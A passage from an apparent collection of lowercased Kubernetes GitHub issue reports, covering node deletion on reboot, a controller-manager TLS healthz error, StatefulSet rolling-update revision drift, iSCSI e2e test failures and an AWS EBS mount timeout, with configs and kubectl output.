strategy:\r       rollingupdate:\r         maxsurge: 25%\r         maxunavailable: 25%\r       type: rollingupdate\r     template:\r       metadata:\r         creationtimestamp: null\r         labels:\r           run: test-nginx\r       spec:\r         containers:\r         - image: nginx:1.8.1\r           imagepullpolicy: ifnotpresent\r           name: test-nginx\r           ports:\r           - containerport: 80\r             protocol: tcp\r           resources: {}\r           terminationmessagepath: /dev/termination-log\r           terminationmessagepolicy: file\r         dnspolicy: clusterfirst\r         restartpolicy: always\r         schedulername: default-scheduler\r         securitycontext: {}\r         terminationgraceperiodseconds: 30\r   status:\r     availablereplicas: 1\r     conditions:\r     - lasttransitiontime: 2018-01-11t04:15:32z\r       lastupdatetime: 2018-01-11t04:15:32z\r       message: deployment has minimum availability.\r       reason: minimumreplicasavailable\r       status: \ true\ \r       type: available\r     - lasttransitiontime: 2018-01-11t04:15:29z\r       lastupdatetime: 2018-01-11t04:15:32z\r       message: replicaset \ test-nginx-647c4777c8\  has successfully progressed.\r       reason: newreplicasetavailable\r       status: \ true\ \r       type: progressing\r     observedgeneration: 1\r     readyreplicas: 1\r     replicas: 1\r     updatedreplicas: 1\r kind: list\r metadata:\r   resourceversion: \ \ \r   selflink: \ \ \r    \r \r    what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

why cloud node controller is deleting nodes from cluster if we like reboot those. https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/cloud.go l148\r \r imo we should not delete nodes from if there is possibility that same node can return. the problem is that if we want to add some custom things like taints and labels to nodes, then reboot is removing these things. currently we have own operator which will add these labels and taints after node is re-registered. node lifecycle controller is working in different way, it is not removing these nodes in aws  and i hope that openstack part of it is moving to that direction in  59931  \r \r i suggest that we do not remove nodes if there is possibility that same node can return back to cluster. which means that we need to modify specification to instanceexistsbyproviderid in instances cloudprovider interface.  do we really need this function in interface, why we are not using it like similar way in node lifecycle controller? it just works. \r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r when i kubectl get componentstatuses\r the status of controller-manager is unhealthy and the message is:\r > get http://127.0.0.1:10252/healthz: net/http: http/1.x transport connection broken: malformed http response \ \\x15\\x03\\x01\\x00\\x02\\x02\ \r \r and /var/log/kubernets/kube-controller-manager.info is:\r > logs.go:49  http: tls handshake error from 127.0.0.1:55434: tls: first record does not look like a tls handshake\r \r what i understand is apiserver should send https instead of http request to controller-manager while controller-manager binding secure address.\r \r   what you expected to happen  :\r i expect the status of controller-manager is healthy. \r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl get componentstatuses\r or curl http://127.0.0.1:10252/healthz\r \r   anything else we need to know?  :\r 1, kube-apiserver startup parameter is:\r >  service \r > execstart=/opt/k8s/bin/kube-apiserver \\\r >   --enable-admission-plugins=initializers,namespacelifecycle,noderestriction,limitranger,serviceaccount,defaultstorageclass,resourcequota \\\r >   --anonymous-auth=false \\\r >   --experimental-encryption-provider-config=/etc/kubernetes/encryption-config.yaml \\\r >   --advertise-address=192.168.6.211 \\\r >   --bind-address=192.168.6.211 \\\r >   --insecure-port=0 \\\r >   --authorization-mode=node,rbac \\\r >   --runtime-config=api/all \\\r >   --enable-bootstrap-token-auth \\\r >   --service-cluster-ip-range=10.254.0.0/16 \\\r >   --service-node-port-range=8400-9000 \\\r >   --tls-cert-file=/etc/kubernetes/cert/kubernetes.pem \\\r >   --tls-private-key-file=/etc/kubernetes/cert/kubernetes-key.pem \\\r >   --client-ca-file=/etc/kubernetes/cert/ca.pem \\\r >   --kubelet-client-certificate=/etc/kubernetes/cert/kubernetes.pem \\\r >   --kubelet-client-key=/etc/kubernetes/cert/kubernetes-key.pem \\\r >   --service-account-key-file=/etc/kubernetes/cert/ca-key.pem \\\r >   --etcd-cafile=/etc/kubernetes/cert/ca.pem \\\r >   --etcd-certfile=/etc/kubernetes/cert/kubernetes.pem \\\r >   --etcd-keyfile=/etc/kubernetes/cert/kubernetes-key.pem \\\r >   --etcd-servers=https://192.168.6.211:2379,https://192.168.6.212:2379,https://192.168.6.213:2379 \\\r >   --enable-swagger-ui=true \\\r >   --allow-privileged=true \\\r >   --apiserver-count=3 \\\r >   --audit-log-maxage=30 \\\r >   --audit-log-maxbackup=3 \\\r >   --audit-log-maxsize=100 \\\r >   --audit-log-path=/var/log/kube-apiserver-audit.log \\\r >   --event-ttl=1h \\\r >   --alsologtostderr=true \\\r >   --logtostderr=false \\\r >   --log-dir=/var/log/kubernetes \\\r >   --v=2\r \r 2, kube-controller-manager startup parameter is:\r >  service \r > execstart=/opt/k8s/bin/kube-controller-manager \\\r >   --port=0 \\\r >   --secure-port=10252 \\\r >   --bind-address=127.0.0.1 \\\r >   --kubeconfig=/etc/kubernetes/kube-controller-manager.kubeconfig \\\r >   --service-cluster-ip-range=10.254.0.0/16 \\\r >   --cluster-name=kubernetes \\\r >   --cluster-signing-cert-file=/etc/kubernetes/cert/ca.pem \\\r >   --cluster-signing-key-file=/etc/kubernetes/cert/ca-key.pem \\\r >   --experimental-cluster-signing-duration=8760h \\\r >   --root-ca-file=/etc/kubernetes/cert/ca.pem \\\r >   --service-account-private-key-file=/etc/kubernetes/cert/ca-key.pem\\\r >   --leader-elect=true \\\r >   --feature-gates=rotatekubeletservercertificate=true \\\r >   --controllers= ,bootstrapsigner,tokencleaner \\\r >   --horizontal-pod-autoscaler-use-rest-clients=true \\\r >   --horizontal-pod-autoscaler-sync-period=10s \\\r >   --tls-cert-file=/etc/kubernetes/cert/kube-controller-manager.pem \\\r >   --tls-private-key-file=/etc/kubernetes/cert/kube-controller-manager-key.pem \\\r >   --use-service-account-credentials=true \\\r >   --alsologtostderr=true \\\r >   --logtostderr=false \\\r >   --log-dir=/var/log/kubernetes \\\r >   --v=2\r \r 3, kube-scheduler startup parameter is:\r >  service \r > execstart=/opt/k8s/bin/kube-scheduler \\\r >   --address=127.0.0.1 \\\r >   --kubeconfig=/etc/kubernetes/kube-scheduler.kubeconfig \\\r >   --leader-elect=true \\\r >   --alsologtostderr=true \\\r >   --logtostderr=false \\\r >   --log-dir=/var/log/kubernetes \\\r >   --v=2\r > restart=on-failure\r > restartsec=5\r > user=k8s\r \r   environment  : \r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r 1 cpu, 1g memory\r \r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  :\r linux kube-master1 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r etcd, keepalived, haproxy, kube-apiserver, kube-controller-manager, kube-scheduler\r \r - others:\r

 \r   what happened  : vsphere volume attacher caused a controller manager panic, due to an unsafe cast from the cloud provider interface:\r https://github.com/kubernetes/kubernetes/blob/876e77ed95d19e4eeb9f84765f30f81ecc6e62f3/pkg/volume/vsphere_volume/vsphere_volume_util.go l191\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a pod with an in-line vsphere volume on a non-vsphere cloud provider.\r \r   /assign

what happened  :\r inconsistent state of 0th pod of statefulsets, running with older revision   controller-revision-hash  and other values \r \r   what you expected to happen  :\r all the pods to be in same state and running with newer statefulsets config\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a statefulsets with  n  replicas and  updatestrategy=rollingupdate .\r 2. apply a change to statefulsets container spec\r 3. while the rollingupdate is ongoing delete a pod which hasn't been updated yet i.e. if x is being updated, delete <x pod  might be happening with >x, but haven't check \r 4. let the rollingupdate complete\r \r   anything else we need to know?  :\r kinda obvious, but manually updating the  controller-revision-hash  for 0th pod and deleting it, fix the pod and bring it up with latest revision as expected.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.3\r \r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ clean\ , builddate:\ 2018-10-05t16:46:06z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r   detailed reproduce output and steps:  \r 1. create a statefulsets with  n  replicas and  updatestrategy=rollingupdate .\r \r    \r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: web\r spec:\r   servicename: \ nginx\ \r   replicas: 5\r   selector:\r     matchlabels:\r       app: nginx\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: k8s.gcr.io/nginx-slim:0.8\r         ports:\r         - containerport: 80\r           name: web\r         env:\r         - name: test_new\r           value: \ true\ \r   updatestrategy:\r     rollingupdate:\r       partition: 1\r     type: rollingupdate\r    \r    \r ➜ kubectl get pods             \r name                            ready   status    restarts   age\r web-0                           1/1     running   0          30s\r web-1                           1/1     running   0          25s\r web-2                           1/1     running   0          21s\r web-3                           1/1     running   0          17s\r web-4                           1/1     running   0          13s\r \r ➜ kubectl get pods web-{0..4} -o yaml | grep -a 1 hash\r       controller-revision-hash: web-6db564c54d\r       statefulset.kubernetes.io/pod-name: web-0\r --\r       controller-revision-hash: web-6db564c54d\r       statefulset.kubernetes.io/pod-name: web-1\r --\r       controller-revision-hash: web-6db564c54d\r       statefulset.kubernetes.io/pod-name: web-2\r --\r       controller-revision-hash: web-6db564c54d\r       statefulset.kubernetes.io/pod-name: web-3\r --\r       controller-revision-hash: web-6db564c54d\r       statefulset.kubernetes.io/pod-name: web-4\r \r ➜ kubectl get pods web-{0..4} -o yaml | grep -a 1 test_new\r       - name: test_new\r         value: \ true\ \r --\r       - name: test_new\r         value: \ true\ \r --\r       - name: test_new\r         value: \ true\ \r --\r       - name: test_new\r         value: \ true\ \r --\r       - name: test_new\r         value: \ true\ \r    \r \r 2. apply a change to statefulsets container spec\r \r updated  test_new  environment value from  true  to  false  in above config and  kubectl apply -f nginx.yml \r \r 3. while the rollingupdate is ongoing delete a pod which hasn't been updated yet i.e. if x is being updated, delete <x pod  might be happening with >x, but haven't check \r \r    \r ➜ kubectl get pods \r name                            ready   status        restarts   age\r web-0                           1/1     running       0          3m28s\r web-1                           1/1     running       0          3m23s\r web-2                           1/1     running       0          3m19s\r web-3                           1/1     running       0          3m15s\r web-4                           0/1     terminating   0          3m11s\r \r ➜ kubectl delete pods web-2\r pod \ web-2\  deleted\r \r ➜ kubectl get pods                      \r name                            ready   status              restarts   age\r web-0                           1/1     running             0          3m44s\r web-1                           1/1     running             0          3m39s\r web-2                           0/1     containercreating   0          4s\r web-3                           1/1     running             0          3m31s\r    \r \r 4. let the rollingupdate complete\r \r    \r ➜ kubectl get pods \r name                            ready   status    restarts   age\r web-0                           1/1     running   0          5m17s\r web-1                           1/1     running   0          40s\r web-2                           1/1     running   0          97s\r web-3                           1/1     running   0          87s\r web-4                           1/1     running   0          93s\r \r ➜ kubectl rollout status statefulset web \r partitioned roll out complete: 4 new pods have been updated...\r \r ➜ kubectl describe pods web-0 | tail -n 2\r   normal  created                6m20s  kubelet, kube1srv022.skae.tower-research.com  created container\r   normal  started                6m20s  kubelet, kube1srv022.skae.tower-research.com  started container\r \r ➜ kubectl describe pods web-1 | tail -n 2\r   normal  created                110s  kubelet, kube1srv030.skae.tower-research.com  created container\r   normal  started                110s  kubelet, kube1srv030.skae.tower-research.com  started container\r    \r \r    \r ➜ kubectl get pods web-{0..4} -o yaml | grep -a 1 hash\r       controller-revision-hash: web-6db564c54d\r       statefulset.kubernetes.io/pod-name: web-0\r --\r       controller-revision-hash: web-6787d69f6f\r       statefulset.kubernetes.io/pod-name: web-1\r --\r       controller-revision-hash: web-6787d69f6f\r       statefulset.kubernetes.io/pod-name: web-2\r --\r       controller-revision-hash: web-6787d69f6f\r       statefulset.kubernetes.io/pod-name: web-3\r --\r       controller-revision-hash: web-6787d69f6f\r       statefulset.kubernetes.io/pod-name: web-4\r    \r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r the ability to idle out namespaces to zero resources  scale to zero  and then scale back to 1 or more when a request comes in for some period of time.\r \r i am trying to use namespace isolation for a saas app for security and assign each tenant their own pods.  to allow for efficient resource utilization i'd like to scale to zero if the tenant goes idle.\r \r <!-- do not edit below this line -->\r  \r 

this is my post 1.0 vision for how cluster upgrades happen. writing it up since it's been mentioned a few times.  cluster-controller - a new cluster component. - runs in a pod, with admin privileges. - takes over from the bootstrapping process when a new cluster is started. - keeps a desired cluster state object, stored in the system with other api objects. this includes:   - the desired node configuration.   - the desired master component versions & configurations. - runs a sync loop, observing cluster state, and changing it to match desired state.   - important: rate limited! - provisioning a new node and/or reinstalling an existing node is pushed into the cloudprovider interface.   - we add a declarative node configuration so we can say \ make node x look like {config}\  or \ make a new node like {config}\ . we could start out with this being the salt script we currently use. - cluster upgrades and rollbacks are done by pushing a new desired state.

what happened  :\r executing kube-e2e tests specific to   driver: iscsi   fails consistently due to iscsiserver not running. this is because,   startvolumeserver   https://github.com/kubernetes/kubernetes/blob/master/test/e2e/framework/volume_util.go l362  declares iscsiserver as failed, because a specific log message was not found in the logs. \r the expected log message is:\r  configuration restored from /etc/target/saveconfig.json \r \r however, log message in my setup is:\r  configuration restored, 1 recoverable errors:\r storage object fileio/block: cannot set attribute optimal_sectors:  errno 22  invalid argument, skipped \r \r rootcausing the reason for the recoverable error in my setup, it turns out that the 16k value for  optimal_sectors  doesnt work well. i changed it to 8k and the container is able to restore the config without any errors. \r \r is there any specific reason that https://github.com/kubernetes/kubernetes/blob/master/test/images/volume/iscsi/saveconfig.json l25 needs to be 16k?  \r \r another way to fix this would be to ignore the warning by matching https://github.com/kubernetes/kubernetes/blob/master/test/e2e/framework/volume_util.go l196 to \ configuration restored\ , instead of \ configuration restored from /etc/target/saveconfig.json\ \r \r   what you expected to happen  :\r tests for   driver: iscsi   to pass successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r setup cluster with 3 rhel 7.5 nodes. run kube e2e tests with e2e_focus=\ \\ driver: iscsi\\ \ . tests error out due with an error pattern like so:\r \r    \r apr  5 03:11:55.406: info: stdout: \ warning: could not load preferences file /root/.targetcli/prefs.bin.\ all configuration cleared\ configuration restored, 1 recoverable errors:\ storage object fileio/block: cannot set attribute optimal_sectors:  errno 22  invalid argument, skipped\ iscsid: sysfs_init: sysfs_path='/sys'\ iscsid: in ctldev_open\ iscsid: created netlink_iscsi socket...\ iscsid: initiatorname=iqn.1994-05.com.redhat:eb59fbe2c4c5\ iscsid: initiatorname=iqn.1994-05.com.redhat:eb59fbe2c4c5\ iscsid: initiatoralias=iscsi-server\ iscsid: max file limits 1048576 1048576\ iscsid: current time 30782\ iscsid: nothing on pend_list, deactivating alarm\ iscsid: reaped pid 21, reap_count now 0\ iscsid: current time 30783\ iscsid: nothing on pend_list, deactivating alarm\ \ \r apr  5 03:11:57.406: info: running '/usr/local/bin/kubectl --server=https://34.217.83.209:6443 --kubeconfig=/.kube/config logs iscsi-server iscsi-server --namespace=provisioning-1058'\r apr  5 03:11:57.549: info: stderr: \ \ \r apr  5 03:11:57.549: info: stdout: \ warning: could not load preferences file /root/.targetcli/prefs.bin.\ all configuration cleared\ configuration restored, 1 recoverable errors:\ storage object fileio/block: cannot set attribute optimal_sectors:  errno 22  invalid argument, skipped\ iscsid: sysfs_init: sysfs_path='/sys'\ iscsid: in ctldev_open\ iscsid: created netlink_iscsi socket...\ iscsid: initiatorname=iqn.1994-05.com.redhat:eb59fbe2c4c5\ iscsid: initiatorname=iqn.1994-05.com.redhat:eb59fbe2c4c5\ iscsid: initiatoralias=iscsi-server\ iscsid: max file limits 1048576 1048576\ iscsid: current time 30782\ iscsid: nothing on pend_list, deactivating alarm\ iscsid: reaped pid 21, reap_count now 0\ iscsid: current time 30783\ iscsid: nothing on pend_list, deactivating alarm\ \ \r apr  5 03:11:59.549: info: unexpected error occurred: failed to find \ configuration restored from /etc/target/saveconfig.json\ , last result: \ warning: could not load preferences file /root/.targetcli/prefs.bin.\r all configuration cleared\r configuration restored, 1 recoverable errors:\r storage object fileio/block: cannot set attribute optimal_sectors:  errno 22  invalid argument, skipped\r iscsid: sysfs_init: sysfs_path='/sys'\r iscsid: in ctldev_open\r iscsid: created netlink_iscsi socket...\r iscsid: initiatorname=iqn.1994-05.com.redhat:eb59fbe2c4c5\r iscsid: initiatorname=iqn.1994-05.com.redhat:eb59fbe2c4c5\r iscsid: initiatoralias=iscsi-server\r iscsid: max file limits 1048576 1048576\r iscsid: current time 30782\r iscsid: nothing on pend_list, deactivating alarm\r iscsid: reaped pid 21, reap_count now 0\r iscsid: current time 30783\r iscsid: nothing on pend_list, deactivating alarm\r      \r \r   anything else we need to know?  :\r i collected straces from the iscsi_server container with 8k and 16k optimal sectors. will upload them soon.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.0\ , gitcommit:\ 641856db18352033a0d96dbc99153fa3b27298e5\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t15:53:57z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14+\ , gitversion:\ v1.14.0-docker-2\ , gitcommit:\ 71e7c2cb4250a28d6a5bfdbc6a7a111e3f25e215\ , gittreestate:\ clean\ , builddate:\ 2019-03-26t19:55:37z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r aws\r \r - os  e.g:  cat /etc/os-release  :\r    \r $ more /etc/os-release \r name=\ red hat enterprise linux server\ \r version=\ 7.5  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r variant=\ server\ \r variant_id=\ server\ \r version_id=\ 7.5\ \r pretty_name=\ red hat enterprise linux server 7.5  maipo \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:7.5:ga:server\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r \r redhat_bugzilla_product=\ red hat enterprise linux 7\ \r redhat_bugzilla_product_version=7.5\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 7.5\ \r    \r \r - kernel  e.g.  uname -a  :\r    $ uname -a\r linux ip-172-31-7-152.us-west-2.compute.internal 3.10.0-862.el7.x86_64  1 smp wed mar 21 18:14:51 edt 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r - others:\r

as explained in  10801 we have an issue with docker auth login. we need to update: https://github.com/googlecloudplatform/kubernetes/blob/master/pkg/credentialprovider/config.go  perhaps @mattmoor could kindly add more details? thank you. @dchen1107  @davidopp

we ran into the issues with docker restart and upgrade a couple of times already: - https://github.com/kubernetes/kubernetes/issues/20995 issuecomment-182594941 for docker 1.9.1 - https://github.com/docker/docker/issues/13850  we should automate this kind of tests in our docker validation test suite.   cc/ @kubernetes/goog-node   @liangchenye i am assigning this to you since you are in charge of docker validation work. thanks!

to add proper redundancy to iscsi we would ideally allow for primary and secondary discovery ips. currently the iscsi volume provider only takes one portal ip which causes issues if that portal goes down.  suggestion would be to either add a \ backup_portal\  property or probably better a \ portals\  property that allows a list of ips. the provider would then go through them one by one and try to login to the iqn provided on each one. if one times out then the others would work.

problem:   i'm finding kube-up seems to deploy a broken cluster, consistently, due to something around pulling/moving kubernetes-src.tar.gz after the  master  tries to start... , i.e. the apiserver logs show that it fails because the  mv kubernetes-src.tar.gz  command fails. - im not sure why, i suspect it could be related to the fact that im using a group account, but a few hacks to personalize the component names on the gce account didnt fix things. -  gs://  uploads are working so i dont think its related to cloud storage.  from what i can tell, the upload of kubernetes-src.tar.gz happens at a _different_ place then the kubernetes-server uploads, and so its hard to trace in the glue scripts where to debug kuberentes-src.tar.gz uploading / how the download is supposed to work from the  master  components perspective.  solution:  i think we should  - add better logs or docs to how kube-up is supposed to work , esp the phases  create infra,  upload tarballs, create vms, and so on . - figure out specifically where kubernetes-src.tar.gz might go wrong and how to fix.  if kube-up requires very specific gce settings that are more natural to single-user accounts, we should figure out what those default settings are.  - have kube-up deployment broadcast hints about what might be wrong  if files/wget/gs get fails

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r i was following http://kubernetes.io/docs/getting-started-guides/ubuntu/manual/ to install a cluster but failed due to the following.\r \r    \r root@k8s001:~/kubernetes/cluster  kubernetes_provider=ubuntu ./kube-up.sh\r ... starting cluster using provider: ubuntu\r ... calling verify-prereqs\r identity added: /root/.ssh/id_rsa  /root/.ssh/id_rsa \r ... calling verify-kube-binaries\r ./kube-up.sh: line 45: verify-kube-binaries: command not found\r    \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else do we need to know  :\r \r

bug report\r \r   kubernetes version    use  kubectl version  : v1.5.1  hyperkube v1.5.1_coreos.0 \r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws  private subnets across 3 azs \r -   os    e.g. from /etc/os-release : coreos stable\r -   kernel    e.g.  uname -a  : 4.7.3-coreos-r2\r -   install tools  : cloudinit + hyperkube\r -   others  :\r \r \r   what happened  :\r after creating a storage class:\r    \r kind: storageclass\r apiversion: storage.k8s.io/v1beta1\r metadata:\r   name: ssd\r provisioner: kubernetes.io/aws-ebs\r parameters:\r   type: gp2\r    \r and a statefulset:\r    \r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: consul\r   namespace: core\r spec:\r   servicename: consul\r   replicas: 3\r   template:\r     metadata:\r       labels:\r         app: consul\r       annotations:\r         pod.alpha.kubernetes.io/initialized: \ true\ \r     spec:\r       terminationgraceperiodseconds: 0\r       containers:\r       - name: consul\r         image: consul:0.7.2\r         ports:\r         - containerport: 8500\r         - containerport: 8600\r         volumemounts:\r         - name: consul-data\r           mountpath: /var/lib/consul\r   volumeclaimtemplates:\r   - metadata:\r       name: consul-data\r       annotations:\r         volume.alpha.kubernetes.io/storage-class: ssd\r     spec:\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 1gi\r    \r all 3 requested volumes  elbs  are created and the first pod is scheduled, the volume is attached to the instance but then nothing else happens.  eventually the mount times out and the pod is stuck pending:\r    \r λ kn describe pod consul-0\r name:\t\tconsul-0\r namespace:\tcore\r node:\t\tip-172-20-12-10.eu-west-1.compute.internal/172.20.12.10\r start time:\ttue, 20 dec 2016 17:12:00 +0000\r labels:\t\tapp=consul\r status:\t\tpending\r ip:\t\t\r controllers:\tstatefulset/consul\r containers:\r   consul:\r     container id:\t\r     image:\t\tconsul:0.7.2\r     image id:\t\t\r     ports:\t\t8500/tcp, 8600/tcp\r     state:\t\twaiting\r       reason:\t\tcontainercreating\r     ready:\t\tfalse\r     restart count:\t0\r     volume mounts:\r       /var/lib/consul from consul-data  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-vtb0f  ro \r     environment variables:\t<none>\r conditions:\r   type\t\tstatus\r   initialized \ttrue \r   ready \tfalse \r   podscheduled \ttrue \r volumes:\r   consul-data:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\tconsul-data-consul-0\r     readonly:\tfalse\r   default-token-vtb0f:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-vtb0f\r qos class:\tbesteffort\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\t\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t\t\t\t-------------\t--------\t------\t\t-------\r   2m\t\t2m\t\t1\t{default-scheduler }\t\t\t\t\t\t\tnormal\t\tscheduled\tsuccessfully assigned consul-0 to ip-172-20-12-10.eu-west-1.compute.internal\r   48s\t\t48s\t\t1\t{kubelet ip-172-20-12-10.eu-west-1.compute.internal}\t\t\twarning\t\tfailedmount\tunable to mount volumes for pod \ consul-0_core 6ba1ec70-c6d7-11e6-a1f4-0622fbf400d9 \ : timeout expired waiting for volumes to attach/mount for pod \ consul-0\ /\ core\ . list of unattached/unmounted volumes= consul-data \r   48s\t\t48s\t\t1\t{kubelet ip-172-20-12-10.eu-west-1.compute.internal}\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ consul-0\ /\ core\ . list of unattached/unmounted volumes= consul-data \r    \r \r   what you expected to happen  :\r the mount should have completed and the pod started.\r \r   how to reproduce it    as minimally and precisely as possible :\r using the above manifests\r \r   anything else do we need to know  :\r    \r ➜ kn get pv \r name                                       capacity   accessmodes   reclaimpolicy   status    claim                       reason    age\r pvc-240c5146-c6cf-11e6-a1f4-0622fbf400d9   1gi        rwo           delete          bound     core/consul-data-consul-0             1h\r pvc-240d7caa-c6cf-11e6-a1f4-0622fbf400d9   1gi        rwo           delete          bound     core/consul-data-consul-1             1h\r pvc-240e4cd0-c6cf-11e6-a1f4-0622fbf400d9   1gi        rwo           delete          bound     core/consul-data-consul-2             1h\r    \r    \r ➜ kn get pvc\r name                   status    volume                                     capacity   accessmodes   age\r consul-data-consul-0   bound     pvc-240c5146-c6cf-11e6-a1f4-0622fbf400d9   1gi        rwo           1h\r consul-data-consul-1   bound     pvc-240d7caa-c6cf-11e6-a1f4-0622fbf400d9   1gi        rwo           1h\r consul-data-consul-2   bound     pvc-240e4cd0-c6cf-11e6-a1f4-0622fbf400d9   1gi        rwo           1h\r    \r    \r ➜ kn describe pv pvc-240c5146-c6cf-11e6-a1f4-0622fbf400d9\r name:\t\tpvc-240c5146-c6cf-11e6-a1f4-0622fbf400d9\r labels:\t\tfailure-domain.beta.kubernetes.io/region=eu-west-1\r \t\tfailure-domain.beta.kubernetes.io/zone=eu-west-1c\r storageclass:\t\r status:\t\tbound\r claim:\t\tcore/consul-data-consul-0\r reclaim policy:\tdelete\r access modes:\trwo\r capacity:\t1gi\r message:\t\r source:\r     type:\tawselasticblockstore  a persistent disk resource in aws \r     volumeid:\taws://eu-west-1c/vol-06a263cc5dbe35d74\r     fstype:\text4\r     partition:\t0\r     readonly:\tfalse\r no events.\r    \r    \r ➜ aws ec2 describe-volumes --volume-ids vol-06a263cc5dbe35d74\r {\r     \ volumes\ :  \r         {\r             \ volumeid\ : \ vol-06a263cc5dbe35d74\ ,\r             \ size\ : 1,\r             \ createtime\ : \ 2016-12-20t16:12:45.206z\ ,\r             \ state\ : \ in-use\ ,\r             \ iops\ : 100,\r             \ encrypted\ : false,\r             \ volumetype\ : \ gp2\ ,\r             \ tags\ :  \r                 {\r                     \ key\ : \ kubernetescluster\ ,\r                     \ value\ : \ eu-west-1.kube.usw.co\ \r                 },\r                 {\r                     \ key\ : \ name\ ,\r                     \ value\ : \ kubernetes-dynamic-pvc-240c5146-c6cf-11e6-a1f4-0622fbf400d9\ \r                 },\r                 {\r                     \ key\ : \ kubernetes.io/created-for/pv/name\ ,\r                     \ value\ : \ pvc-240c5146-c6cf-11e6-a1f4-0622fbf400d9\ \r                 },\r                 {\r                     \ key\ : \ kubernetes.io/created-for/pvc/name\ ,\r                     \ value\ : \ consul-data-consul-0\ \r                 